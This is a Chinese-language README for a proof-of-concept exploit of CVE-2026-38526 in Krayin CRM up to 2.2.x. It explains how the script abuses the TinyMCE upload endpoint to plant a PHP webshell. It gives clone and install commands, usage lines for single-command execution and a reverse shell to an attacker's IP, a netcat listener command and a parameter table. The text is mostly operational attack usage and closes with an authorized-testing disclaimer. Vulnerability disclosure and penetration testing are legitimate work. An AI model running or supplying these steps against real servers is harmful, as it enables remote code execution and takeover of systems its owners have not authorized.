
Krayin CRM <= v2.2.x 中 CVE-2026-38526 的概念验证。任意文件上传导致远程代码执行。
Krayin CRM(≤ 2.2.x)- 不受限制的文件上传,导致远程代码执行。
此 PoC 利用存在漏洞的 TinyMCE 上传端点(/admin/tinymce/upload)上传 PHP WebShell,并在服务器上实现命令执行。
git clone https://github.com/pawpic/CVE-2026-38526-POC
pip3 install requests beautifulsoup4
用法
python3 exploit.py \
-u http://example.com \
-e [email protected] \
-p "example_pass" \
--lhost YOUR_IP \
--lport 4444
python3 exploit.py \
-u http://example.com \
-e [email protected] \
-p "example_pass" \
-c "whoami"
启动监听:
nc -lvnp 4444
运行利用程序:
python3 exploit.py -u http://target.com -e [email protected] -p password --lhost IP_ADDR
此漏洞利用仅用于教育目的和经授权的渗透测试。对未获得明确测试许可的系统进行未授权使用属于违法行为。
受影响版本
Krayin CRM ≤ 2.2.x CVE: CVE-2026-38526
作者:pawpic 日期:2026
| 参数 | 描述 | 必需 |
|---|
| -u, --url | 目标基础 URL | 是 |
| -e, --email | 登录邮箱 | 是 |
| -p, --password | 登录密码 | 是 |
| -c, --cmd | 执行单条命令 | 否 |
| --lhost | 用于反弹 Shell 的 IP | 是(如果不使用 --cmd) |
| --lport | 监听端口 | 否(默认:4444) |